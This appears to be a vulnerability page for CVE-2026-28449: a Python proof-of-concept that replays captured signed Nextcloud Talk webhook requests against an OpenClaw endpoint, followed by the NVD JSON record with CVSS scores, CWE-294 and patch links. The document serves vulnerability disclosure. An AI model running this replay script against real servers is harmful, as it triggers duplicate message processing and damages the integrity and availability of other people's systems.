CVE-2026-28449

import requests import time import json # CVE-2026-28449 PoC - Webhook Replay Attack # Target: OpenClaw with Nextcloud Talk integration TARGET_URL = "https://vulnerable-server/webhook/nextcloud-talk" # Step 1: Capture a valid signed webhook request (via network sniffing or MITM) # The captured request should include: # - Valid HMAC signature header # - Timestamp header # - Request body with message data captured_headers = { "X-Nextcloud-Talk-Signature": "sha256=valid_hmac_signature", "X-Request-Timestamp": str(int(time.time())), "Content-Type": "application/json" } captured_body = json.dumps({ "type": "message", "message": { "text": "Important command" } }) # Step 2: Replay the captured request multiple times print("[*] Starting replay attack on OpenClaw webhook endpoint...") for i in range(5): print(f"[*] Replay attempt {i+1}...") response = requests.post( TARGET_URL, headers=captured_headers, data=captured_body, verify=False, timeout=10 ) print(f"[*] Response status: {response.status_code}") # If vulnerable, the request will be processed each time if response.status_code == 200: print("[+] Request accepted - vulnerable to replay attack") time.sleep(1) print("[*] Attack completed - check for duplicate message processing")

{"cve": {"id": "CVE-2026-28449", "sourceIdentifier": "[email protected]", "published": "2026-03-19T02:16:02.390", "lastModified": "2026-03-25T15:16:39.607", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.25 lack durable replay state for Nextcloud Talk webhook events, allowing valid signed webhook requests to be replayed without suppression. Attackers can capture and replay previously valid signed webhook requests to trigger duplicate inbound message processing and cause integrity or availability issues."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.2.25 carecen de un estado de reproducción duradero para los eventos de webhook de Nextcloud Talk, lo que permite que las solicitudes de webhook firmadas válidas se reproduzcan sin supresión. Los atacantes pueden capturar y reproducir solicitudes de webhook firmadas previamente válidas para desencadenar el procesamiento duplicado de mensajes entrantes y causar problemas de integridad o disponibilidad."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.25", "matchCriteriaId": "E7CAF2B9-46A9-45F0-8621-6485989E84AD"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d512163d686ad6741783e7119ddb3437f493dbbc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-r9q5-c7qc-p26w", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-webhook-replay-attack-via-missing-durable-replay-suppression", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}